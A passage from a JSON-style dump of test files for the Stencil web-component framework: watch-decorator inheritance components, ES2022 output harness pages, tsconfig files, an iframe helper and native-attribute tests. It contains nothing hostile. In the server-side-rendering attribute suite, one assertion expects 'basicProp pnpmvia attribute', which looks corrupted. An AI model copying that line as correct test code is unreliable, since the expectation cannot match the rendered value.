this.getCombinedWatchLog();\n    const totalWatchCalls = this.baseWatchCallCount + this.childWatchCallCount;\n\n    return (\n      <div>\n        <h2>Watch Decorator Inheritance Test</h2>\n\n        <div class=\"watch-info\">\n          <p class=\"base-watch-count\">Base Watch Calls: {this.baseWatchCallCount}</p>\n          <p class=\"child-watch-count\">Child Watch Calls: {this.childWatchCallCount}</p>\n          <p class=\"total-watch-count\">Total Watch Calls: {totalWatchCalls}</p>\n          <p class=\"watch-log-length\">Watch Log Entries: {combinedLog.length}</p>\n        </div>\n\n        <div class=\"property-values\">\n          <h3>Property Values:</h3>\n          <p class=\"base-prop-value\">Base Prop: {this.baseProp}</p>\n          <p class=\"base-count-value\">Base Count: {this.baseCount}</p>\n          <p class=\"base-state-value\">Base State: {this.baseState}</p>\n          <p class=\"base-counter-value\">Base Counter: {this.baseCounter}</p>\n          <p class=\"override-prop-value\">Override Prop: {this.overrideProp}</p>\n          <p class=\"child-prop-value\">Child Prop: {this.childProp}</p>\n          <p class=\"child-state-value\">Child State: {this.childState}</p>\n          <p class=\"child-counter-value\">Child Counter: {this.childCounter}</p>\n        </div>\n\n        <div class=\"reactive-chains\">\n          <h3>Reactive Chains:</h3>\n          <p class=\"base-chain-triggered\">Base Chain Triggered: {this.baseChainTriggered ? 'true' : 'false'}</p>\n          <p class=\"base-chain-count\">Base Chain Count: {this.baseChainCount}</p>\n          <p class=\"child-chain-triggered\">Child Chain Triggered: {this.childChainTriggered ? 'true' : 'false'}</p>\n        </div>\n\n        <div class=\"watch-log\">\n          <h3>Watch Log:</h3>\n          <ul id=\"watch-log-list\">\n            {combinedLog.map((entry, index) => (\n              <li key={index}>{entry}</li>\n            ))}\n          </ul>\n        </div>\n\n        <div class=\"controls\">\n          <h3>Trigger Property Changes:</h3>\n          <button class=\"update-base-prop\" onClick={() => this.updateBaseProp('base prop updated')}>\n            Update Base Prop\n          </button>\n          <button class=\"update-base-count\" onClick={() => this.updateBaseCount(5)}>\n            Update Base Count\n          </button>\n          <button class=\"update-base-state\" onClick={() => this.updateBaseState('base state updated')}>\n            Update Base State\n          </button>\n          <button class=\"update-base-counter\" onClick={() => this.updateBaseCounter(10)}>\n            Update Base Counter\n          </button>\n          <button class=\"update-override-prop\" onClick={() => this.updateOverrideProp('override prop updated')}>\n            Update Override Prop\n          </button>\n          <button class=\"update-child-prop\" onClick={() => this.updateChildProp('child prop updated')}>\n            Update Child Prop\n          </button>\n          <button class=\"update-child-counter\" onClick={() => this.updateChildCounter(20)}>\n            Update Child Counter\n          </button>\n          <button class=\"increment-base-count\" onClick={() => this.incrementBaseCount()}>\n            Increment Base Count\n          </button>\n          <button class=\"increment-base-counter\" onClick={() => this.incrementBaseCounter()}>\n            Increment Base Counter\n          </button>\n          <button class=\"increment-child-counter\" onClick={() => this.incrementChildCounter()}>\n            Increment Child Counter\n          </button>\n          <button class=\"reset-logs\" onClick={() => this.resetWatchLogs()}>\n            Reset Logs\n          </button>\n        </div>\n\n        <div class=\"test-info\">\n          <p>Features: @Watch inheritance | Execution order | Reactive chains | Handler override</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-watch/es2022.custom-element.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist-custom-elements output - Watch Decorator Inheritance</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-watch.js';\n    defineCustomElement();\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Watch Decorator Inheritance</h1>\n  <extends-watch></extends-watch>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-watch/es2022.dist.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"utf-8\">\n  <title>ES2022 dist output - Watch Decorator Inheritance</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Watch Decorator Inheritance</h1>\n  <extends-watch></extends-watch>\n</body>\n</html>\n\n"
  },
  {
    "path": "test/wdio/ts-target/extends-watch/watch-base.ts",
    "content": "import { Prop, State, Watch } from '@stencil/core';\n\n/**\n * WatchBase - Base class demonstrating @Watch decorator inheritance\n *\n * This base class provides:\n * 1. @Watch decorators on @Prop properties\n * 2. @Watch decorators on @State properties\n * 3. Watch handlers that track execution order\n * 4. Watch handlers that trigger other property changes (reactive chains)\n * 5. Watch handlers that can be overridden in child classes\n */\nexport class WatchBase {\n  // Base properties with watch decorators\n  @Prop() baseProp: string = 'base prop initial';\n  @Prop() baseCount: number = 0;\n  @State() baseState: string = 'base state initial';\n  @State() baseCounter: number = 0;\n\n  // Properties used for reactive chains (watch handlers trigger changes to these)\n  @State() baseChainTriggered: boolean = false;\n  @State() baseChainCount: number = 0;\n\n  // Track watch handler execution for testing\n  @State() baseWatchLog: string[] = [];\n  @State() baseWatchCallCount: number = 0;\n\n  // Watch baseProp - inherited by child, can be overridden\n  @Watch('baseProp')\n  basePropChanged(newValue: string, oldValue: string) {\n    this.baseWatchLog.push(`basePropChanged:${oldValue}->${newValue}`);\n    this.baseWatchCallCount++;\n\n    // Reactive chain: trigger change to baseState\n    this.baseState = `state updated by baseProp: ${newValue}`;\n  }\n\n  // Watch baseCount - inherited by child\n  @Watch('baseCount')\n  baseCountChanged(newValue: number, oldValue: number) {\n    this.baseWatchLog.push(`baseCountChanged:${oldValue}->${newValue}`);\n    this.baseWatchCallCount++;\n\n    // Reactive chain: increment baseChainCount\n    this.baseChainCount = newValue * 2;\n  }\n\n  // Watch baseState - inherited by child, can be overridden\n  @Watch('baseState')\n  baseStateChanged(newValue: string, oldValue: string) {\n    this.baseWatchLog.push(`baseStateChanged:${oldValue}->${newValue}`);\n    this.baseWatchCallCount++;\n  }\n\n  // Watch baseCounter - inherited by child\n  @Watch('baseCounter')\n  baseCounterChanged(newValue: number, oldValue: number) {\n    this.baseWatchLog.push(`baseCounterChanged:${oldValue}->${newValue}`);\n    this.baseWatchCallCount++;\n\n    // Reactive chain: set baseChainTriggered flag\n    if (newValue > 0) {\n      this.baseChainTriggered = true;\n    }\n  }\n\n  // Property that can be watched by both base and child (override scenario)\n  @Prop() overrideProp: string = 'override prop initial';\n\n  // Watch overrideProp - can be overridden in child class\n  @Watch('overrideProp')\n  overridePropChanged(newValue: string, oldValue: string) {\n    this.baseWatchLog.push(`overridePropChanged:base:${oldValue}->${newValue}`);\n    this.baseWatchCallCount++;\n  }\n\n  // Helper method to get watch log\n  getWatchLog(): string[] {\n    return [...this.baseWatchLog];\n  }\n\n  // Helper method to reset watch tracking\n  resetWatchLog() {\n    this.baseWatchLog = [];\n    this.baseWatchCallCount = 0;\n    this.baseChainTriggered = false;\n    this.baseChainCount = 0;\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/ts-target-props/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, browser } from '@wdio/globals';\n\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Smoke tests for `tsconfig.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\n// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\n\nconst testSuites = async (root: HTMLTsTargetPropsElement) => {\n  async function getTxt(selector: string) {\n    await browser.waitUntil(() => !!root.querySelector(selector), { timeout: 3000 });\n    return root.querySelector(selector).textContent.trim();\n  }\n  function getTxtHtml(html: string, className: string) {\n    const match = html.match(new RegExp(`<div class=\"${className}\".*?>(.*?)</div>`, 'g'));\n    if (match && match[0]) {\n      const textMatch = match[0].match(new RegExp(`<div class=\"${className}\".*?>(.*?)</div>`));\n      return textMatch ? textMatch[1].replace(/<!--.*?-->/g, '').trim() : null;\n    }\n    return null;\n  }\n\n  return {\n    defaultValue: async () => {\n      expect(await getTxt('.basicProp')).toBe('basicProp');\n      expect(await getTxt('.decoratedProp')).toBe('-5');\n      expect(await getTxt('.decoratedGetterSetterProp')).toBe('999');\n      expect(await getTxt('.basicState')).toBe('basicState');\n      expect(await getTxt('.decoratedState')).toBe('10');\n    },\n    viaAttributes: async () => {\n      root.setAttribute('decorated-prop', '200');\n      root.setAttribute('decorated-getter-setter-prop', '-5');\n      root.setAttribute('basic-prop', 'basicProp via attribute');\n      root.setAttribute('basic-state', 'basicState via attribute');\n      root.setAttribute('decorated-state', 'decoratedState via attribute');\n\n      await browser.pause(100);\n\n      expect(await getTxt('.basicProp')).toBe('basicProp via attribute');\n      expect(await getTxt('.decoratedProp')).toBe('25');\n      expect(await getTxt('.decoratedGetterSetterProp')).toBe('0');\n      expect(await getTxt('.basicState')).toBe('basicState');\n      expect(await getTxt('.decoratedState')).toBe('10');\n    },\n    viaProps: async (nativeElement: boolean = false) => {\n      root.basicProp = 'basicProp via prop';\n      root.decoratedProp = -3;\n      root.decoratedGetterSetterProp = 543;\n      // @ts-ignore\n      root.basicState = 'basicState via prop';\n      // @ts-ignore\n      root.decoratedState = 3;\n\n      await browser.pause(100);\n\n      expect(await getTxt('.basicProp')).toBe('basicProp via prop');\n      expect(await getTxt('.decoratedProp')).toBe('-3');\n      expect(await getTxt('.decoratedGetterSetterProp')).toBe('543');\n\n      // you can change internal state via prop within native elements because the class instance === the element\n      const basicStateMatch = !nativeElement ? 'basicState' : 'basicState via prop';\n      expect(await getTxt('.basicState')).toBe(basicStateMatch);\n      const decoratedStateMatch = !nativeElement ? '10' : '3';\n      expect(await getTxt('.decoratedState')).toBe(decoratedStateMatch);\n    },\n    reflectsStateChanges: async () => {\n      expect(await getTxt('.basicState')).toBe('basicState');\n      expect(await getTxt('.decoratedState')).toBe('10');\n\n      const buttons = root.querySelectorAll('button');\n      buttons[0].click();\n      await browser.pause(100);\n      expect(await getTxt('.basicState')).toBe('basicState changed');\n\n      buttons[1].click();\n      await browser.pause(100);\n      expect(await getTxt('.decoratedState')).toBe('0');\n    },\n    ssrViaAttrs: async (hydrationModule: any) => {\n      const renderToString: HydrateModule['renderToString'] = hydrationModule.renderToString;\n      const { html } = await renderToString(\n        `\n        <ts-target-props\n          basic-prop=\"basicProp via attribute\"\n          decorated-prop=\"200\"\n          decorated-getter-setter-prop=\"-5\"\n          basic-state=\"basicState via attribute\"\n          decorated-state=\"decoratedState via attribute\"\n        ></ts-target-props>\n      `,\n        {\n          serializeShadowRoot: true,\n          fullDocument: false,\n        },\n      );\n      expect(await getTxtHtml(html, 'basicProp')).toBe('basicProp pnpmvia attribute');\n      expect(await getTxtHtml(html, 'decoratedProp')).toBe('25');\n      expect(await getTxtHtml(html, 'decoratedGetterSetterProp')).toBe('0');\n      expect(await getTxtHtml(html, 'basicState')).toBe('basicState via attribute');\n      expect(await getTxtHtml(html, 'decoratedState')).toBe('10');\n    },\n    ssrViaProps: async (hydrationModule: any) => {\n      const renderToString: HydrateModule['renderToString'] = hydrationModule.renderToString;\n      const { html } = await renderToString(`<ts-target-props></ts-target-props>`, {\n        serializeShadowRoot: true,\n        fullDocument: false,\n        beforeHydrate: (doc: Document) => {\n          const el = doc.querySelector('ts-target-props');\n          el.basicProp = 'basicProp via prop';\n          el.decoratedProp = -3;\n          el.decoratedGetterSetterProp = 543;\n          // @ts-ignore\n          el.basicState = 'basicState via prop';\n          // @ts-ignore\n          el.decoratedState = 3;\n        },\n      });\n      expect(await getTxtHtml(html, 'basicProp')).toBe('basicProp via prop');\n      expect(await getTxtHtml(html, 'decoratedProp')).toBe('-3');\n      expect(await getTxtHtml(html, 'decoratedGetterSetterProp')).toBe('543');\n      expect(await getTxtHtml(html, 'basicState')).toBe('basicState');\n      expect(await getTxtHtml(html, 'decoratedState')).toBe('10');\n    },\n    dynamicLifecycleMethods: async () => {\n      root.basicProp = 'basicProp via prop';\n      await browser.pause(100);\n      const buttons = root.querySelectorAll('button');\n      buttons[0].click();\n      await browser.pause(100);\n      root.remove();\n      await browser.pause(100);\n\n      expect(window.lifecycleCalls).toContain('componentWillLoad');\n      expect(window.lifecycleCalls).toContain('componentWillRender');\n      expect(window.lifecycleCalls).toContain('componentDidLoad');\n      expect(window.lifecycleCalls).toContain('componentDidRender');\n      expect(window.lifecycleCalls).toContain('connectedCallback');\n      expect(window.lifecycleCalls).toContain('disconnectedCallback');\n      expect(window.lifecycleCalls).toContain('componentShouldUpdate');\n      expect(window.lifecycleCalls).toContain('componentWillUpdate');\n      expect(window.lifecycleCalls).toContain('componentDidUpdate');\n    },\n  };\n};\n\ndescribe('Checks class properties and runtime decorators of different es targets', () => {\n  describe('default / control - 2017 dist output', () => {\n    it('renders default values', async () => {\n      render({ template: () => <ts-target-props /> });\n      await (await $('ts-target-props')).waitForStable();\n      await (await testSuites(document.querySelector('ts-target-props'))).defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      render({ template: () => <ts-target-props /> });\n      await (await $('ts-target-props')).waitForStable();\n      await (await testSuites(document.querySelector('ts-target-props'))).viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      render({\n        html: `\n        <ts-target-props></ts-target-props>`,\n      });\n      await (await $('ts-target-props')).waitForStable();\n      await (await testSuites(document.querySelector('ts-target-props'))).viaProps();\n    });\n\n    it('reflects internal state changes to the dom', async () => {\n      render({ template: () => <ts-target-props /> });\n      await (await $('ts-target-props')).waitForStable();\n      await (await testSuites(document.querySelector('ts-target-props'))).reflectsStateChanges();\n    });\n\n    it('renders component during SSR hydration', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/hydrate/index.mjs');\n      await (await testSuites(document.querySelector('ts-target-props'))).ssrViaProps(mod);\n    });\n\n    it('adds dynamic lifecycle hooks', async () => {\n      render({ template: () => <ts-target-props /> });\n      await (await $('ts-target-props')).waitForStable();\n      await (await testSuites(document.querySelector('ts-target-props'))).dynamicLifecycleMethods();\n    });\n  });\n\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/ts-target-props/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.basicState'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await viaProps();\n    });\n\n    it('reflects internal state changes to the dom', async () => {\n      const { reflectsStateChanges } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await reflectsStateChanges();\n    });\n\n    it('renders component during SSR hydration', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.querySelector('ts-target-props'))).ssrViaProps(mod);\n    });\n\n    it('adds dynamic lifecycle hooks', async () => {\n      const { dynamicLifecycleMethods } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await dynamicLifecycleMethods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/ts-target-props/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      frameEle.waitUntil(async () => !!frameContent.querySelector('.basicState'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await viaProps(true);\n    });\n\n    it('reflects internal state changes to the dom', async () => {\n      const { reflectsStateChanges } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await reflectsStateChanges();\n    });\n\n    it('adds dynamic lifecycle hooks', async () => {\n      const { dynamicLifecycleMethods } = await testSuites(frameContent.querySelector('ts-target-props'));\n      await dynamicLifecycleMethods();\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/ts-target-props/cmp.tsx",
    "content": "import { Component, ComponentInterface, Element, h, Prop, State } from '@stencil/core';\n\ndeclare global {\n  interface Window {\n    lifecycleCalls: string[];\n  }\n}\n\nfunction AddDynamicLifeCycleHooks(): any {\n  return <T extends ComponentInterface>(target: T) => {\n    window.lifecycleCalls = [];\n    const {\n      connectedCallback,\n      disconnectedCallback,\n      componentWillRender,\n      componentDidRender,\n      componentWillLoad,\n      componentDidLoad,\n      componentShouldUpdate,\n      componentWillUpdate,\n      componentDidUpdate,\n    } = target;\n\n    target.connectedCallback = function () {\n      window.lifecycleCalls.push('connectedCallback');\n      return connectedCallback?.call(this);\n    };\n    target.disconnectedCallback = function () {\n      window.lifecycleCalls.push('disconnectedCallback');\n      return disconnectedCallback?.call(this);\n    };\n    target.componentWillRender = function () {\n      window.lifecycleCalls.push('componentWillRender');\n      return componentWillRender?.call(this);\n    };\n    target.componentDidRender = function () {\n      window.lifecycleCalls.push('componentDidRender');\n      return componentDidRender?.call(this);\n    };\n    target.componentWillLoad = function () {\n      window.lifecycleCalls.push('componentWillLoad');\n      return componentWillLoad?.call(this);\n    };\n    target.componentDidLoad = function () {\n      window.lifecycleCalls.push('componentDidLoad');\n      return componentDidLoad?.call(this);\n    };\n    target.componentShouldUpdate = function (...args) {\n      window.lifecycleCalls.push('componentShouldUpdate');\n      if (componentShouldUpdate) return componentShouldUpdate.apply(this, args);\n      return true;\n    };\n    target.componentWillUpdate = function () {\n      window.lifecycleCalls.push('componentWillUpdate');\n      return componentWillUpdate?.call(this);\n    };\n    target.componentDidUpdate = function () {\n      window.lifecycleCalls.push('componentDidUpdate');\n      return componentDidUpdate?.call(this);\n    };\n\n    return {\n      get(): string[] {\n        return window.lifecycleCalls;\n      },\n      configurable: true,\n      enumerable: true,\n    };\n  };\n}\n\nfunction Clamp(lowerBound: number, upperBound: number, descriptor?: PropertyDescriptor): any {\n  const clamp = (value: number) => Math.max(lowerBound, Math.min(value, upperBound));\n\n  return <T,>(target: T, propertyKey: string) => {\n    descriptor = descriptor || Object.getOwnPropertyDescriptor(target, propertyKey);\n    // preserve any existing getter/setter\n    const ogGet = descriptor === null || descriptor === void 0 ? void 0 : descriptor.get;\n    const ogSet = descriptor === null || descriptor === void 0 ? void 0 : descriptor.set;\n    const key = Symbol() as keyof T;\n\n    return {\n      get(): number {\n        if (ogGet) return clamp(ogGet.call(this));\n        return clamp((this as unknown as T)[key] as number);\n      },\n      set(newValue: number) {\n        if (ogSet) ogSet.call(this, newValue);\n        ((this as unknown as T)[key] as number) = newValue;\n      },\n      configurable: true,\n      enumerable: true,\n    };\n  };\n}\n\n@Component({\n  tag: 'ts-target-props',\n})\nexport class TsTargetProps implements ComponentInterface {\n  @Element() el: HTMLElement;\n\n  @Prop() basicProp: string = 'basicProp';\n\n  @Clamp(-5, 25)\n  @Prop()\n  decoratedProp: number = -10;\n\n  private _decoratedGetterSetterProp: number = 1000;\n  @Clamp(0, 999)\n  @Prop()\n  get decoratedGetterSetterProp() {\n    return this._decoratedGetterSetterProp || 0;\n  }\n  set decoratedGetterSetterProp(value: number) {\n    this._decoratedGetterSetterProp = value;\n  }\n\n  @State() basicState: string = 'basicState';\n\n  @Clamp(0, 10)\n  @State()\n  decoratedState: number = 11;\n\n  @AddDynamicLifeCycleHooks()\n  @Prop()\n  dynamicLifecycle: string[];\n\n  // Don't add any static lifecycle hooks here.\n  // They will be added dynamically by the decorator.\n  // This test will only work via the `stencil.config-es2022.ts` / `tsconfig-es2022.json` combo\n  // Because as soon as one component uses a static lifecycle hook,\n  // all components can dynamically use it.\n\n  render() {\n    return (\n      <div>\n        <div class=\"basicProp\">{this.basicProp}</div>\n        <div class=\"decoratedProp\">{this.decoratedProp}</div>\n        <div class=\"decoratedGetterSetterProp\">{this.decoratedGetterSetterProp}</div>\n        <div class=\"basicState\">{this.basicState}</div>\n\n        <button\n          onClick={() => {\n            this.basicState += ' changed ';\n          }}\n        >\n          Change basicState\n        </button>\n\n        <div class=\"decoratedState\">{this.decoratedState}</div>\n        <button\n          onClick={() => {\n            this.decoratedState -= 100;\n          }}\n        >\n          Change decoratedState\n        </button>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/ts-target-props/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/ts-target-props.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <ts-target-props></ts-target-props>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/ts-target-props/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <ts-target-props></ts-target-props>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/tsconfig-auto-loader.json",
    "content": "{\n  \"extends\": \"./tsconfig-stencil.json\",\n  \"include\": [\n    \"auto-loader\"\n  ],\n  \"exclude\": [\n    \"auto-loader/*.test.tsx\"\n  ]\n}\n"
  },
  {
    "path": "test/wdio/tsconfig-es2022.json",
    "content": "{\n  \"extends\": \"./tsconfig-stencil.json\",\n  \"compilerOptions\": {\n    \"target\": \"es2022\",\n    \"useDefineForClassFields\": true\n  },\n  \"include\": [\"ts-target\"],\n  \"exclude\": [\"ts-target/**/*.test.tsx\", \"ts-target/**/*.test.ts\"]\n}\n"
  },
  {
    "path": "test/wdio/tsconfig-global-script.json",
    "content": "{\n  \"extends\": \"./tsconfig-stencil.json\",\n  \"include\": [\n    \"global-script\"\n  ],\n  \"exclude\": [\n    \"global-script/*.test.tsx\"\n  ]\n}\n"
  },
  {
    "path": "test/wdio/tsconfig-invisible-prehydration.json",
    "content": "{\n  \"extends\": \"./tsconfig-stencil.json\",\n  \"include\": [\"invisible-prehydration\"],\n  \"exclude\": [\"invisible-prehydration/*.test.tsx\"]\n}\n"
  },
  {
    "path": "test/wdio/tsconfig-no-external-runtime.json",
    "content": "{\n  \"extends\": \"./tsconfig-stencil.json\",\n  \"include\": [\"no-external-runtime\"],\n  \"exclude\": [\"no-external-runtime/**/*.test.tsx\"]\n}\n"
  },
  {
    "path": "test/wdio/tsconfig-prerender.json",
    "content": "{\n  \"extends\": \"./tsconfig-stencil.json\",\n  \"compilerOptions\": {\n    \"paths\": {\n      \"@stencil/core\": [\"../../../internal\"],\n      \"@stencil/core/internal\": [\"../../../internal\"]\n    }\n  },\n  \"include\": [\n    \"test-prerender/src\",\n  ]\n}\n"
  },
  {
    "path": "test/wdio/tsconfig-stencil.json",
    "content": "{\n  \"compilerOptions\": {\n    \"strict\": true,\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"allowJs\": true,\n    \"declaration\": false,\n    \"resolveJsonModule\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\"dom\", \"es2017\"],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"strictPropertyInitialization\": false,\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"pretty\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"skipLibCheck\": true,\n    \"paths\": {\n      \"test-sibling\": [\"./test-sibling\"]\n    }\n  },\n  \"include\": [\"./src/components.d.ts\", \"./**/*.spec.ts\", \"./**/*.tsx\", \"./util.ts\", \"./global.ts\"],\n  \"exclude\": [\n    \"./**/*.test.tsx\",\n    // we exclude the files in the global-script directory here since they're\n    // compiled separately\n    \"./global-script/**/*.tsx\",\n    \"./global-script/**/*.ts\",\n    // we also exclude the files in the test-sibling directory\n    \"./test-sibling/**/*.tsx\",\n    // we also exclude the files in the invisible-prehydration directory\n    \"./invisible-prehydration/**/*.tsx\",\n    \"./invisible-prehydration/**/*.ts\",\n    // exclude no-external-runtime because they are built separately with `externalRuntime: false`\n    \"./no-external-runtime/**/*.tsx\",\n    \"./no-external-runtime/**/*.ts\",\n    // exclude ts-target because they are built separately with `target: es2022`\n    \"./test-ts-target/**/*.tsx\",\n    \"./test-ts-target/**/*.ts\",\n    // exclude auto-loader because it's built separately to test lazy-loading in isolation\n    \"./auto-loader/**/*.tsx\",\n    \"./auto-loader/**/*.ts\"\n  ]\n}\n"
  },
  {
    "path": "test/wdio/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"declaration\": false,\n    \"resolveJsonModule\": false,\n    \"experimentalDecorators\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\",\n    \"lib\": [\n      \"dom\",\n      \"ES2021\"\n    ],\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"Node16\",\n    \"forceConsistentCasingInFileNames\": true,\n    \"noImplicitAny\": false,\n    \"noImplicitReturns\": false,\n    \"noUnusedLocals\": false,\n    \"noUnusedParameters\": false,\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"useUnknownInCatchVariables\": true,\n    \"skipDefaultLibCheck\": true,\n    \"paths\": {\n      \"@stencil/core\": [\"../../internal\"],\n      \"@stencil/core/internal\": [\"../../internal\"],\n      \"test-sibling\": [\"./test-sibling\"]\n    }\n  },\n  \"include\": [\n    \".\"\n  ]\n}\n"
  },
  {
    "path": "test/wdio/util.ts",
    "content": "/**\n * Note: this file is meant to be run in the browser, not in Node.js. WebdriverIO\n * injects some basic polyfills for Node.js to make the following possible.\n */\nimport path from 'node:path';\n\n/**\n * A namespace for custom type definitions used in a portion of the testing suite\n */\nexport declare namespace SomeTypes {\n  type Number = number;\n  type String = string;\n}\n\nexport async function setupIFrameTest(htmlFile: string, id?: string): Promise<HTMLElement> {\n  const oldFrame = document.querySelector('iframe');\n  if (oldFrame) {\n    document.body.removeChild(oldFrame);\n  }\n\n  const htmlFilePath = path.resolve(\n    // @ts-ignore globalThis is a WebdriverIO global variable\n    path.dirname(globalThis.__wdioSpec__),\n    '..',\n    htmlFile.slice(htmlFile.startsWith('/') ? 1 : 0),\n  );\n  const iframe = document.createElement('iframe');\n\n  /**\n   * Note: prefixes the absolute path to the html file with `/@fs` is a ViteJS (https://vitejs.dev/)\n   * feature which allows to serve static content from files this way\n   */\n  if (id) iframe.id = id;\n  iframe.src = `/@fs${htmlFilePath}`;\n  iframe.width = '600px';\n  iframe.height = '600px';\n  document.body.appendChild(iframe);\n\n  /**\n   * wait for the iframe to load\n   */\n  await new Promise((resolve) => (iframe.onload = resolve));\n  return iframe.contentDocument!.body;\n}\n"
  },
  {
    "path": "test/wdio/watch-native-attributes/cmp-no-members.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('watch native attributes w/ no Stencil members', () => {\n  beforeEach(() => {\n    render({\n      components: [],\n      template: () => (\n        <watch-native-attributes-no-members aria-label=\"myStartingLabel\"></watch-native-attributes-no-members>\n      ),\n    });\n  });\n\n  it('triggers the callback for the watched attribute', async () => {\n    const $cmp = $('watch-native-attributes-no-members').$('div');\n    await $cmp.waitForExist();\n\n    await expect($cmp).toHaveText('Label: myStartingLabel\\nCallback triggered: false');\n\n    const cmp = document.querySelector('watch-native-attributes-no-members');\n    cmp.setAttribute('aria-label', 'myNewLabel');\n\n    await expect($cmp).toHaveText('Label: myNewLabel\\nCallback triggered: true');\n  });\n});\n"
  },
  {
    "path": "test/wdio/watch-native-attributes/cmp-no-members.tsx",
    "content": "import { Component, Element, forceUpdate, h, Watch } from '@stencil/core';\n\n@Component({\n  tag: 'watch-native-attributes-no-members',\n})\nexport class WatchNativeAttributesNoMembers {\n  @Element() el!: HTMLElement;\n\n  private callbackTriggered = false;\n\n  @Watch('aria-label')\n  onAriaLabelChange() {\n    this.callbackTriggered = true;\n    forceUpdate(this);\n  }\n\n  render() {\n    return (\n      <div>\n        <p>Label: {this.el.getAttribute('aria-label')}</p>\n        <p>Callback triggered: {`${this.callbackTriggered}`}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/watch-native-attributes/cmp.test.tsx",
